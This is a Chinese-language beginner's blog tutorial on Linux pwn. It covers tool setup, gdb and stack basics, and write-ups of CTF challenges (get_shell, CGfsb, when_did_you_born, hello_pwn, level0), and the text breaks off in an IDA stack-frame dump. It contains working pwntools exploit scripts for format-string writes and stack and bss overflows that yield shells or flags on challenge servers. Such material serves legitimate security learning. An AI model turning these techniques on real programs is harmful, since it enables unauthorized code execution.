Mac 环境下 PWN入门系列(一) when_did_you_born 题目非常好,适合初学者,对局部变量、stack的认识更深刻了,level0也是非常经典的“留后门”题目
Mac 环境下 PWN入门系列(一)
0x0 前言
一个菜🐔web狗的转型之路,记录下自己学习PWN的过程。
备注一些基本知识:
--------
程序内存管理 .bss .data .rodata .text stack heap
1.未初始化的全局变量(.bss段)
bss段用来存放 没有被初始化 和 已经被初始化为0 的全局变量。
2. 已被初始化为非零的全局变量(.data段)
data段用来存放已经被初始化为非零的全局变量。
3.常量数据(.rodata段)
1)rodata用来存放常量数据。 ro: read only
2)字符串会被编译器自动放在rodata中,加 const 关键字的常量数据会被放在 rodata 中
4.代码(.text段)
text段存放代码(如:函数)和部分整数常量(应该指的是一些立即数),这个段是可执行的。
5.栈(stack)
1)stack 存放函数的局部变量和函数参数
2)被调用函数的参数和返回值 被存储到当前程序的栈区(从后面反汇编的一些代码即可看出),之后被调用函数再为自身的自动变量和临时变量在栈区上分配空间
3)函数返回时,栈区的数据会被释放掉,先入后出(FILO)的顺序。
6.堆(heap)
heap用来动态分配内存,由程序自身决定开辟和释放。
-------------
0x1 简单介绍PWN概念
主要参考下: wiki pwn
我们可以看到PWN具体细分话有好几个种类。
这里笔者重点研究的是: Window Kernal and Linux Kernal (window 内核 和 Linux内核)
CTF 的题目多是 关于两种系统内核的模块漏洞,自写一些漏洞代码的程序,然后通过pwn技术获取到相应程序的完全控制权限等操作。
关于Linux 和 Windows,其实利用原理是一样的,只是在实现的过程存在差异,所以入门的话,我们可以直接选择从Linux Pwn入手开始学习。
0x2 环境搭建
由于笔者是MAC环境,所以环境安装这块就多点笔墨了。
1.MAC PD虚拟机 Ubuntu 16.04 x64
2.pwntools
3.pwndbg
4.ida
0x1 mac安装pwntools
采用homebrew
安装很方便
1.安装pwntools
brew install pwntools
2.安装bintuils 二进制工具
## brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/osx/binutils-amd64.rb 无效 用下面命令
brew install binutils
命令执行完之后,我们要导入我们pwntools的包放到环境变量。
1./usr/local/Cellar/pwntools/3.12.2_1/libexec/lib/python2.7/site-packages
2.在系统默认安装包的site-packages写个.pth文件写入上面的地址就可以了
之后我们就可以使用常用的工具
checksec /Users/xq17/Desktop/bf743d8c386f4a83b107c49ac6fbcaaf
最后测试下python的pwn模块
import pwn
pwn.asm("xor eax,eax")
这样就代表可以了。
参考链接:mac下安装pwntools
0x3 MAC 安装 IDA
这个吾爱很多,有针对mac系列的解决方案。
学习二进制吾爱破解账号应该是标配吧。
0x3 工具介绍篇
0x1 pwntools
参考链接: 一步一步学pwntools (看雪论坛)
0x2 gdb+pwndbg
0x2.1 启动gdb
gdb program
//直接gdb+文件名开始调试, frequentgdb program pid
//gdb调试正在运行的程序gdb -args programs
解决程序带命令行参数的情况 或者run
之后再加上参数
0x2.2 退出gdb
quit or q
0x2.3 在gdb调试程序带适合执行shell命令
shell command args
0x2.4 一些基础参数的介绍
gdb的命令分别有:(这里我只说几个重点和常用的)
breakpoints(断点) stack(栈)help breakpoints
可以查看该命令的详细帮助说明help all
列出所有命令详细说明info
用来获取被调试应用程序的相关信息show
用来获取gdb本身设置的信息
更多内容,参考一下链接(GDB命令基础,让你的程序bug无处躲藏) 我很少记忆,都是需要就去查
pwndbg的学习可以参考官方文档: https://github.com/pwndbg/pwndbg/blob/dev/FEATURES.md
0x3 ida 常用快捷键
F5: 反编译出c语言的伪代码,这个基本是我这种菜鸡特别喜欢用的。 # mac下是fn+f5
空格: IDA VIEW 窗口中 文本视图与图形视图的切换, 好看。 直观,哈哈哈
shift + f12:查找字符串 逆向的时候能快速定位
n: 重命名 整理下程序的命名,能理清楚逻辑
x: 查看交叉引用
0x4 checksec简单介绍
保护机制介绍:
DEP(NX) 不允许执行栈上的数据
RELRO 这个介绍有点长分为两种:
1.Partial RELRO GOT表仍然可写
2.Full RELRO GOT表只读
ASLR(PIE 随机化系统调用地址
stack 栈溢出保护
下面我会针对这些保护继续介绍的,先了解下基本作用和概念。
更细内容可以参考下面的文章
0x4 实践篇
0x4.1 学习使用pwndpg来理解程序流程
我们入门先写一个hello world
的程序
#include <stdio.h>
int hello(int a,int b)
{
return a+b;
}
int main()
{
printf("Hello world!n");
hello(1, 2);
return 0;
}
编译开启调试选项:
gcc -g -Wall test.c -o test
然后开启我们gdb调试熟悉下程序的执行流程(mac安装pwndpg失败,但是我docker linux下是OK的)
因为可以源码debug
直接 1.b main
2.run
我们看下栈段的信息
所以我们可以根据这些信息,画出调用hello
函数的堆栈图。
我们输入s
,进入到hello
函数,先记录下没进去之前的rbp,rsp==>注意,要先next,因为上一行代码printf,直接s进入printf了。下面这个图是还没有进入hello的汇编代码。call hello才是正式进入的。
这里我们按照指令去跟进call: ni
si
两者区别同上
这里我补充下关于函数调用的汇编知识
ret 指令是退出函数 等价于 pop RIP
call 指令是调用函数 分为两步:(1)将当前的rip压入栈中 (2)转移到函数内
push RIP
jmp x
push ebp 就是把ebp的内容放入当前栈顶单元的上方
pop ebp 从栈顶单元中取出数据送入ebp寄存器中
RSP 指向栈顶单元,会根据栈大小来动态改变。
(1)push和pop指令的格式:
push 寄存器;将一个寄存器中的数据入栈
pop 寄存器;出栈,用一个寄存器接收出栈的数据
(2)push 段寄存器 ;将一个段寄存器中的数据入栈
pop 段寄存器 ;出栈,用一个段寄存器接收出战的数据
(3)push和pop也可以在内存单元和内存单元之间传送数据:
push 内存单元;将一个内存字单元处的字入栈(栈操作都是以字为单位)
pop 内存单元 ;出栈,用一个内存字单元接收出栈的数据
END- rip是64位地址偏移寄存器,举例说明,下面是一个程序执行的快照:
RBP 0x7fffffffec20 —▸ 0x555555555180 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe860 —▸ 0x7fffffffe8b0 —▸ 0x7ffff7fe2180 (_dl_fini) ◂— push rbp
*RIP 0x7ffff7fe1602 (_dl_fixup+226) ◂— jne 0x7ffff7fe1670 表示当前程序将执行jne命令,地址嘛
────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────
0x7ffff7fe15f3 <_dl_fixup+211> mov r9, rax
0x7ffff7fe15f6 <_dl_fixup+214> mov eax, dword ptr fs:[0x18]
0x7ffff7fe15fe <_dl_fixup+222> pop rdx
0x7ffff7fe15ff <_dl_fixup+223> pop rcx
0x7ffff7fe1600 <_dl_fixup+224> test eax, eax
► 0x7ffff7fe1602 <_dl_fixup+226> jne _dl_fixup+336 <_dl_fixup+336> 这就是即将要执行的汇编码
0x7ffff7fe1604 <_dl_fixup+228> mov rax, qword ptr [rsp + 8]
0x7ffff7fe1609 <_dl_fixup+233> xor r8d, r8d
0x7ffff7fe160c <_dl_fixup+236> test rax, rax
我们验证下:
然后si
跟进==>奇怪,我的hello运行不到{ 断点,使用si可以,si表示使用汇编一条一条运行。s表示源码c风格一行一行代码运行。
然后我们获取下rbp的内存地址来画堆栈图
这个时候rbp
值没改变,但是rsp
改变了
执行完mov rbp, rsp
后面就到return a+b
,这里没有进行开辟栈空间,所以这些操作并没有在当前栈里面。rbp rsp
指向同一地址
接着执行ret可以看到
RIP的值就是上面那个栈顶的值, 这就验证了ret => pop rip
这里栈没什么空间,所以这里丢个简单的栈图
关于执行执行汇编码以后stack的变化说明:
RBP 0x0
*RSP 0x7fffffffebc0 ◂— 0x0
*RIP 0x7ffff7e3fe21 (__call_tls_dtors+1) ◂— push rbx
────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────
0x7ffff7e3fe20 <__call_tls_dtors> push rbp 从上面可以看到rbp为0,则运行这条指令以后,stack栈顶应该为0
► 0x7ffff7e3fe21 <__call_tls_dtors+1> push rbx <0x7ffff7fbf718>
0x7ffff7e3fe22 <__call_tls_dtors+2> sub rsp, 8
0x7ffff7e3fe26 <__call_tls_dtors+6> mov rbx, qword ptr [rip + 0x17ef33]
0x7ffff7e3fe2d <__call_tls_dtors+13> mov rbp, qword ptr fs:[rbx]
0x7ffff7e3fe31 <__call_tls_dtors+17> test rbp, rbp
0x7ffff7e3fe34 <__call_tls_dtors+20> je __call_tls_dtors+93 <__call_tls_dtors+93>
↓
0x7ffff7e3fe7d <__call_tls_dtors+93> add rsp, 8
0x7ffff7e3fe81 <__call_tls_dtors+97> pop rbx
0x7ffff7e3fe82 <__call_tls_dtors+98> pop rbp
0x7ffff7e3fe83 <__call_tls_dtors+99> ret
────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffebc0 ◂— 0x0 看吧,都说了stack为0!!!
01:0008│ 0x7fffffffebc8 —▸ 0x7ffff7e3f6fd (__run_exit_handlers+589) ◂— jmp 0x7ffff7e3f4cf
02:0010│ 0x7fffffffebd0 ◂— 0x0
03:0018│ 0x7fffffffebd8 ◂— 0x100000000
04:0020│ 0x7fffffffebe0 ◂— 0x0
... ↓
06:0030│ 0x7fffffffebf0 —▸ 0x555555555180 (__libc_csu_init) ◂— push r15
07:0038│ 0x7fffffffebf8 —▸ 0x555555555050 (_start) ◂— xor ebp, ebp
可以预见,执行下一条push指令以后,stack栈顶为rbx的值,si运行下一条汇编指令可以看到:
────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────
0x7ffff7e3fe20 <__call_tls_dtors> push rbp
0x7ffff7e3fe21 <__call_tls_dtors+1> push rbx
► 0x7ffff7e3fe22 <__call_tls_dtors+2> sub rsp, 8
0x7ffff7e3fe26 <__call_tls_dtors+6> mov rbx, qword ptr [rip + 0x17ef33]
0x7ffff7e3fe2d <__call_tls_dtors+13> mov rbp, qword ptr fs:[rbx]
0x7ffff7e3fe31 <__call_tls_dtors+17> test rbp, rbp
0x7ffff7e3fe34 <__call_tls_dtors+20> je __call_tls_dtors+93 <__call_tls_dtors+93>
↓
0x7ffff7e3fe7d <__call_tls_dtors+93> add rsp, 8
0x7ffff7e3fe81 <__call_tls_dtors+97> pop rbx
0x7ffff7e3fe82 <__call_tls_dtors+98> pop rbp
0x7ffff7e3fe83 <__call_tls_dtors+99> ret
────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffebb8 (表示栈顶)—▸ 0x7ffff7fbf718 (__exit_funcs) (都说了是$rbx这个值吧,见下!)—▸ 0x7ffff7fc1b00 (initial) ◂— 0x0
01:0008│ 0x7fffffffebc0 ◂— 0x0
02:0010│ 0x7fffffffebc8 —▸ 0x7ffff7e3f6fd (__run_exit_handlers+589) ◂— jmp 0x7ffff7e3f4cf
03:0018│ 0x7fffffffebd0 ◂— 0x0
04:0020│ 0x7fffffffebd8 ◂— 0x100000000
05:0028│ 0x7fffffffebe0 ◂— 0x0
... ↓
07:0038│ 0x7fffffffebf0 —▸ 0x555555555180 (__libc_csu_init) ◂— push r15
──────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────
► f 0 7ffff7e3fe22 __call_tls_dtors+2
f 1 7ffff7e3f6fd __run_exit_handlers+589
f 2 7ffff7e3f74a
f 3 7ffff7e27cd1 __libc_start_main+241
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> p/x $rbx #使用16进制查看寄存器值
$18 = 0x7ffff7fbf718
0x4.2 参考链接
(gdb) n(ext) : 单步运行,逐过程调试,C Style
(gdb) s(tep) : 单步运行,逐语句调试,C Style
(gdb) n(ext)i : 单步运行,逐过程调试, asm Style
(gdb) s(tep)i : 单步运行,逐语句调试, asm Style
0x5 练习篇
第一部分我打算从攻防世界的新手区刷起
0x1 get_shell
(1) 题目描述及其考点
题目描述:运行就能拿到shell呢,真的
考点: 基本的pwntools使用
(2) wp
get_shell
难度系数: 6.0
题目描述:运行就能拿到shell呢,真的
题目场景:
220.249.52.133:57808
题目附件:
链接:https://pan.baidu.com/s/13OAHCWRew06-jZINlvVUtA
提取码:eodj
直接hex Fiend查看或者checksec
或者用自带的file x
可以得知这个程序是64位(x86-64 就是x64)的
我们直接用ida打开,f5反汇编一下,可以知道这个题目的确很基础,考察基本的pwn链接。
可以看出来直接system执行了命令行下的输入
int __cdecl main(int argc, const char **argv, const char **envp)
{
puts("OK,this time we will get a shell.");
system("/bin/sh");
return 0;
}
那么我们直接写个连接nc的脚本就行了
上面给出了nc的地址: 111.198.29.45:34462
#!/usr/bin/python
# -*- coding:utf-8 -*-
from pwn import *
c = remote("111.198.29.45", 34462)
c.interactive()
运行,结束
flag乖乖出来啦~
flag就不打码了,没有什么必要,其实flag就是这个文件,getshell以后什么都好说。
直接运行看看:
chmod u+x get_shell
root@41e8b15e7e58:/data# ls
get_shell
root@41e8b15e7e58:/data# ls -l
total 12
-rwxr--r-- 1 root root 8656 Oct 6 12:42 get_shell
root@41e8b15e7e58:/data# ./get_shell
OK,this time we will get a shell.
# ls
get_shell
# pwd
/data
也是get shell的真正效果。
0x2 CGfsb
(1) 题目描述及其考点
题目描述:菜鸡面对着pringf发愁,他不知道prinf除了输出还有什么作用
漏洞点: 格式化字符串
(2)wp
文件下载地址:
链接:https://pan.baidu.com/s/1a9zj-OQAOgTw7KooZPBBaQ
提取码:y9wi
我们把附件下载下来,直接ida打开。
我们checksec
查看下
这是32位架构的,直接用ida64打开是没办法反编译的,这里我们选择用32位ida去打开
然后在左边那个Function name
窗口按下m
就会匹配以m开头的函数,找到main
函数,f5反编译
// 这里我选取了重要代码出来,
puts("please tell me your name:");
read(0, &buf, 0xAu);
puts("leave your message please:");
fgets(&s, 100, stdin);
printf("hello %s", &buf);
puts("your message is:");
printf(&s);// 这里漏洞点
if ( pwnme == 8 )
{
puts("you pwned me, here is your flag:n");
system("cat flag");
}
printf()
的标准格式是: printf(“<格式化字符串>”,<参量表>)
首先我们找出偏移量
#!/usr/bin/python
# -*- coding:utf-8 -*-
from pwn import *
c = remote("111.198.29.45", 53486)
c.sendlineafter('name:', 'aaa')
c.sendlineafter('please:', 'AAAA %x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x')
c.interactive()
AAAA
其实就是 十进制ascii 65->0x41 (16进制)
这样看起来比较方便。
我们可以看到AAAA 相对于格式化字符串的偏移量是10。???
#!/usr/bin/python
# -*- coding:utf-8 -*-
from pwn import *
c = remote("111.198.29.45", 53486)
payload = p32(0x0804A068) + '1234' + '%10$n'
c.sendlineafter('name:', 'aaa')
c.sendlineafter('please:', payload)
c.interactive()
这里需要介绍%n
在格式化字符串中作用
%n: 将%n 之前printf已经打印的字符个数赋值给格式化字符串对应偏移地址位置。
这里因为要pwnme为8,所以我们构造p32(0x0804A068) + '1234'
8个字节(其实只要是8个字符就可以,也不一定非得p32),然后%10$n
进行赋值给p32(0x0804A068)
地址,从而pwn掉。
没看懂,下面有更详细的说明:
先介绍一下格式化字符串漏洞,这种漏洞在实际中应该很少有了,但仍然需要了解这些基础的漏洞知识。
会触发该漏洞的函数很有限,主要就是printf、sprintf、fprintf等print家族函数,该题就是利用了printf的漏洞,下面以printf为例进行介绍。
printf函数的使用方法为:printf("format", 输出表列),由于format部分可以有许多的占位符及字母,所以接受的参数数量是不定的,而且对参数的处理是有顺序的。
下面介绍摘自https://ctf-wiki.github.io/ctf-wiki/pwn/linux/fmtstr/fmtstr_intro/
在一开始,我们就给出格式化字符串的基本介绍,这里再说一些比较细致的内容。我们上面说,格式化字符串函数是根据格式化字符串函数来进行解析的。那么相应的要被解析的参数的个数也自然是由这个格式化字符串所控制。比如说'%s'表明我们会输出一个字符串参数。
我们再继续以上面的为例子进行介绍
对于这样的例子,在进入 printf 函数的之前 (即还没有调用 printf),栈上的布局由高地址到低地址依次如下
some value 3.14 123456 addr of "red" addr of format string: Color %s...注:这里我们假设 3.14 上面的值为某个未知的值。
在进入 printf 之后,函数首先获取第一个参数,一个一个读取其字符会遇到两种情况
- 当前字符不是 %,直接输出到相应标准输出。
- 当前字符是 %, 继续读取下一个字符
- 如果没有字符,报错
- 如果下一个字符是 %, 输出 %
- 否则根据相应的字符,获取相应的参数,对其进行解析并输出
那么假设,此时我们在编写程序时候,写成了下面的样子
printf("Color %s, Number %d, Float %4.2f");此时我们可以发现我们并没有提供参数,那么程序会如何运行呢?程序照样会运行,会将栈上存储格式化字符串地址上面的三个变量分别解析为
- 解析其地址对应的字符串
- 解析其内容对应的整形值
- 解析其内容对应的浮点值
对于 2,3 来说倒还无妨,但是对于对于 1 来说,如果提供了一个不可访问地址,比如 0,那么程序就会因此而崩溃。
这基本就是格式化字符串漏洞的基本原理了。
漏洞发生机理:
假设一个字符串str,一般来说,使用printf的时候,我们的用法是:printf("%s",
str),但是有人是这样用的printf(str),这种情况下我们还能输出吗?答案是可以,因为printf函数的格式,str会被当做format参数,我们知道,使用printf的时候,format参数中的字符串是可以被输出的,但是如果这串字符串中有基本的格式化字符串参数(%s, %n, %x, %p等,下面做个介绍),那么这些内容就会被当做基本的格式化字符串参数来处理,这样就出现了可利用的漏洞。
常用基本的格式化字符串参数介绍:
%c:输出字符,配上%n可用于向指定地址写数据。
%d:输出十进制整数,配上%n可用于向指定地址写数据。
%x:输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数据,%i$lx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。
%p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。
%s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。
%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100×10$n表示将0x64(十进制为100)写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。
%n是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符串参数可用于读取信息或配合%n写数据。
下面通过一个例子——CGfsb来进行一下简单的格式化字符串漏洞的利用。
对文件类型进行分析,发现是elf文件:
放到ida中看一下伪代码:
发现得到flag的关键就是让pwnme==8,这就要利用上面的printf函数了,这个printf函数正好存在我们所说的格式化字符串漏洞。
那么我们下面要做的就是找到printf输出的这个参数的地址了,也就是计算一下这个参数的偏移量。(有这个变量的定义,见下面text段)
ida找到要利用的printf函数的地址:0x080486CD
然后gdb调试这个文件,在这个地址设置断点,然后运行:
现在查看寄存器中的地址和值:
可以数出偏移量为10,所以这个参数的位置就是10了。???咋数出来的???
----
补:
(1)ESP:栈指针寄存器(extended stack pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的栈顶。
(2)EBP:基址指针寄存器(extended base pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的底部。
在这里要注意由于在intel系统中栈是向下生长的(栈越扩大其值越小,堆恰好相反)
根据上述的定义,在通常情况下ESP是可变的,随着栈的生产而逐渐变小,而ESB寄存器是固定的,只有当函数的调用后,发生入栈操作而改变。
在上述的定义中使用ESP来标记栈的底部,他随着栈的变化而变化
pop ebp;出栈 栈扩大4byte 因为ebp为32位
push ebp;出栈,栈减少4byte
add esp, 0Ch;表示栈减小12byte
sub esp, 0Ch;表示栈扩大12byte
而ebp寄存器的出现则是为了另一个目标,通过固定的地址与偏移量来寻找在栈参数与变量。而这个固定值者存放在ebp寄存器中,。但是这个值会在函数的调用过程发生改变。而在函数执行结束之后需要还原,因此,在函数的出栈入栈过程中进行保存。
-----
接下来用一个脚本,对这个漏洞进行利用:
-
from pwn import *
-
-
p = remote('111.198.29.45', 31559)
-
pwnme = 0x0804A068
-
-
payload1 = 'aaaa'
-
payload2 = p32(pwnme) + 'aaaa%10$n'
-
-
p.recvuntil('please tell me your name:\n')
-
p.sendline(payload1)
-
p.recvuntil('leave your message please:\n')
-
p.sendline(payload2)
-
print(p.recv())
-
print(p.recv()) #p.interactive()
可以看到输出了flag:
要深刻理解这个例子,请看:https://www.cnblogs.com/bonelee/p/13775831.html 我总结的printf %n的作用!另外:https://stackoverflow.com/questions/3401156/what-is-the-use-of-the-n-format-specifier-in-c 也有很准确的说明。
上面这个例子,因为在我的docker linux上无法运行,提示-bash: ./CGfsb: No such file or directory,明明有这个文件,解决方法:参考 https://stackoverflow.com/questions/35071872/bash-no-such-file-or-directory
核心就是因为缺失了 ld-linux.so.2 这个文件,安装方法:apt install lib32z1
安装成功以后,就可以正常执行了。
至于pwn代码,我用上面的代码无法工作,用下面的可以:
from pwn import * p = process("./CGfsb") # remote('111.198.29.45', 31559) pwnme = 0x0804A068 payload1 = 'aaaa' payload2 = str(p32(pwnme, endian='big')) + 'aaaa%10$n' payload2 = fmtstr_payload(10, {pwnme: 8}) print("payload2:", payload2) p.recvuntil('please tell me your name:\n') p.sendline(payload1) p.recvuntil('leave your message please:\n') p.sendline(payload2) print(p.recv()) print(p.recv()) #p.interactive() p.interactive()
运行效果:
root@41e8b15e7e58:/data# python pwn_cgfsb.py [+] Starting local process './CGfsb': pid 379 payload2: b'%8c%12$nh\xa0\x04\x08' b'hello aaaa\nyour message is:\n \x9eh\xa0\x04\x08\nyou pwned me, here is your flag:\n\n' b'cat: '
解释:任意地址写,pwn.fmtstr_payload
fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
理解:fmtstr_payload(偏移,{key内存地址,value值}) ==》 fmtstr_payload(10, {pwnme: 8})
0x3 when_did_you_born (这个题目非常好,非常适合初学者练手)
(1)题目描述及其考点
文件下载地址:
链接:https://pan.baidu.com/s/1eT_oVeEKPts8Lw2P0nDEnw
提取码:1axx
只要知道你的年龄就能获得flag,但菜鸡发现无论如何输入都不正确,怎么办
考点: 栈溢出
(2) wp
首先看下文件结构:
这里开启了Canary
保护,也许你现在对此一无所知,但是没关系,看我细细道来。
canary是一种用来防护栈溢出的保护机制。其原理是在一个函数的入口处,先从fs/gs寄存器中取出一个4字节(eax)或者8字节(rax)的值存到栈上,当函数结束时会检查这个栈上的值是否和存进去的值一致
那么这句话是什么意思呢,就算你不懂汇编,也没关系,听我一点点地举例子来分析。
我们ida64打开下载下来的elf文件, 左边按m找到main函数,代码如下。
左边直接找main函数,然后f5,得到代码调用函数过程涉及到三个寄存器(寄存器可以理解为一个存放值的盒子)
分别是 sp,bp,ip (16位cpu) esp,ebp,eip(32位cpu) rsp,rbp,rip(64位cpu)
rsp用来存储函数调用栈的栈顶地址,在压栈和退栈时发生变化。
rbp用来存储当前函数状态的基地址,在函数运行时不变,用来索引确定函数的参数或局部变量的位置
rip 用来存储即将执行的程序指令的地址, cpu根据eip的存储内容读取指令并执行(程序控制指令模式)
栈空间增长方式是从高地址到地址的,也就是栈顶的地址值是小于栈底的地址值的
这代码逻辑其实很容易看懂,就是一开始v5
不能等于1926进入else流程的时候,v5
等于1926就能输出flag
作为一枚pwn萌新,其实感觉还是有点不可思议的,但是转头想想栈溢出覆盖值的概念,就觉得可以理解了。
我们注意下else
流程哪里,有个gets(&v4)
是char类型的,很明显不对劲嘛,gets
应该读取的是字符串类型
这样我就可以输入无数个字符,这样可能就会导致栈溢出。
然后我们想想,我们可不可以控制v4
让其溢出去覆盖v5
的值呢,下面看我操作吧。
我们首先需要确认下v4
和v5
的位置
ida反编译直接双击或者鼠标点到v4
v5
可以看到相对esp ebp的位置==》IDA里反汇编就是如此
v4 rsp+0h rbp-20h
v5 rsp+8h rbp-18h
所以说我们可以直接写exp了。
#!/usr/bin/python
# -*- coding:utf-8 -*-
from pwn import *
c = remote('111.198.29.45', '52808')
c.sendlineafter('Birth?', '1999')
c.sendlineafter('Name?','A'*8 + p64(1926))
c.interactive()
因为上面是py2的代码,在我的py3下,应该这样写:
#!/usr/bin/python # -*- coding:utf-8 -*- from pwn import * c = process("./when") # remote('111.198.29.45', 31559) c.sendlineafter('Birth?', '1999') c.sendlineafter('Name?',b'A'*8 + p64(1926)) #.decode()) c.interactive()
payload = b'a' * 8 + p64(1926) //因为py3中默认不是比特流,所以要用'b'来进行类型转换,
其实画个图很好理解
这里因为不需要栈越界所以canary
保护就没啥用了,如果栈越界的话,那么就会导致canary存的值发生改变,然后比较改变之后程序就会执行__stack_chk_fail
函数,从而终止程序,后面遇到bypass cannary保护我再继续深究下具体流程,目前我们还是继续刷题,巩固下前面的知识先。
(3) 参考链接
0x4 hello_pwn
文件下载地址:
链接:https://pan.baidu.com/s/1Qp1fxOU8b4VobwSIouK7OQ
提取码:g47i
(1)题目描述及其考点
pwn!,segment fault!菜鸡陷入了深思
考点: bss段溢出
(4)wp
我们首先把文件下载下来,checksec
一下
还是老套路找入口函数main
然后我会直接双击sub_400686
查看下函数内容.
这样就很容易明白我们的目标是让等式成立。
.assets/image-20191006222315601.png#alt=image-20191006222315601)
我们可以通过read
控制unk_601068
10个字节。
这里涉及到bss
段的概念
bss段主要存放未初始化的全局变量
可以看到上面两个变量都是没有进行初始化的。
bss段数据是向高地址增长的,所以说低地址数据可以覆盖高地址数据(关键,注意和stack的区别!!!)
流程很简单,只要保证dword 106c这个变量的值等于后面这个数字就可以了,前面有read函数,明显的栈溢出,只要想办法修改下面这个变量的值就行了。
发现这两个变量的差值为4,所以只需要溢出的时候填充四个字节的无效信息,再填充后面那个数字,就可去执行sub函数,拿到flag。
所以我们可以直接写出exp了 两者之间的相差4个字节 0x6B-0x68=0x4
,我们还可0x10-0x4=12字节,
写入1853186401
=0x6E756161
小于int范围4字节足矣
#!/usr/bin/python
# -*- coding:utf-8 -*-
from pwn import *
ip, port = '111.198.29.45:44975'.split(':')
# print(ip, port)
c = remote(ip, port)
#接收完这个数据之后再发送.其实不要也行,得看服务端处理速度
c.recvuntil("lets get helloworld for bof")
c.sendline('A'*4 + p64(1853186401))
c.interactive()
我的python3 pwn代码:
#!/usr/bin/python # -*- coding:utf-8 -*- from pwn import * c = process("./hellopwn") # remote('111.198.29.45', 31559) c.recvuntil("lets get helloworld for bof") c.sendline(b'A'*4 + p64(1853186401)) c.interactive()
0x3 参考链接
0x5 level0
题目地址
https://dn.jarvisoj.com/challengefiles/level0.b9ded3801d6dd36a97468e128b81a65d
(1)题目描述及其考点
菜鸡了解了什么是溢出,他相信自己能得到shell
考点: 栈溢出 return2libc
这个题目很经典的栈溢出漏洞利用,通过栈溢出来覆盖返回地址,从而调用恶意函数地址。
而且这个漏洞代码非常简洁,很适合新手去学习。
(2)wp
第一步套路看保护:
第二步ida搜索入口函数
看到vulnerable_function
,显然是个提示。
然后看下函数的代码是啥:
然后我们shift+f12
看下字符串:
发现有个/bin/sh
,
通过xref确定了后门函数:
所以说如果我们能调用这个函数就可以反弹一个shell了。
这个时候基本就可以猜到是栈溢出了覆盖函数返回地址。
我们具体来分析下:
首先我们查看下write
and read
函数的文档说明:
read(int fd,void buf,size_t nbyte)
ssize_t write(int fd,const void buf,size_t nbytes)
fd是文件描述符 0是标准输入 1是标准输出
其实很好理解,第一个函数往1里面写入了hello world
,因为1对应的标准输出对象是屏幕,所以就会在屏幕上输出helloworld,就是一个printf的功能。
同理read也是这样,我们直接在屏幕输入的数据就会被读取到buf里面。
这个题目没开pie
,也就是地址其实就是固定的,所以我们先确定下那个shell函数的地址(函数开始地址): 0000000000400596
我们继续分析下read
的问题:
ssize_t vulnerable_function() { char buf; // [rsp+0h] [rbp-80h] return read(0, &buf, 0x200uLL); }
这里buf
应该是char
类型1字节大小,但是读取的时候竟然可以写入0x200的数据,这里的栈大小是0x80
字节
那个0x80
怎么算的呢
rsp+0h 说明这个位置其实就是rsp的位置
rbp-80h 说明rbp距离rsp是0x80h,那么栈的大小不就是rbp-rsp=+0x80大小吗?
直接看IDA吧,IDA里点击buf变量,即可查看对应的stack情况,frame size不就80吗:
-0000000000000080 ; D/A/* : change type (data/ascii/array) -0000000000000080 ; N : rename -0000000000000080 ; U : undefine -0000000000000080 ; Use data definition commands to create local variables and function arguments. -0000000000000080 ; Two special fields " r" and " s" represent return address and saved registers. -0000000000000080 ; Frame size: 80; Saved regs: 8; Purge: 0 -0000000000000080 ; -0000000000000080 -0000000000000080 buf db ? -000000000000007F db ? ; undefined -000000000000007E db ? ; undefined -000000000000007D db ? ; undefined -000000000000007C db ? ; undefined -000000000000007B db ? ; undefined -000000000000007A db ? ; undefined -0000000000000079 db ? ; undefined -0000000000000078 db ? ; undefined -0000000000000077 db ? ; undefined -0000000000000076 db ? ; undefined -0000000000000075 db ? ; undefined -0000000000000074 db ? ; undefined -0000000000000073 db ? ; undefined -0000000000000072 db ? ; undefined -0000000000000071 db ? ; undefined -0000000000000070 db ? ; undefined -000000000000006F db ? ; undefined -000000000000006E db ? ; undefined -000000000000006D db ? ; undefined -000000000000006C db ? ; undefined -000000000000006B db ? ; undefined -000000000000006A db ? ; undefined -0000000000000069 db ? ; undefined -0000000000000068 db ? ; undefined -0000000000000067 db ? ; undefined -0000000000000066 db ? ; undefined -0000000000000065 db ? ; undefined -0000000000000064 db ? ; undefined -0000000000000063 db ? ; undefined -0000000000000062 db ? ; undefined -0000000000000061 db ? ; undefined -0000000000000060 db ? ; undefined -000000000000005F db ? ; undefined -000000000000005E db ? ; undefined -000000000000005D db ? ; undefined -000000000000005C db ? ; undefined -000000000000005B db ? ; undefined -000000000000005A db ? ; undefined -0000000000000059 db ? ; undefined -0000000000000058 db ? ; undefined -0000000000000057 db ? ; undefined -0000000000000056 db ? ; undefined -0000000000000055 db ? ; undefined -0000000000000054 db ? ; undefined -0000000000000053 db ? ; undefined -0000000000000052 db ? ; undefined -0000000000000051 db ? ; undefined -0000000000000050 db ? ; undefined -000000000000004F db ? ; undefined -000000000000004E db ? ; undefined -000000000000004D db ? ; undefined 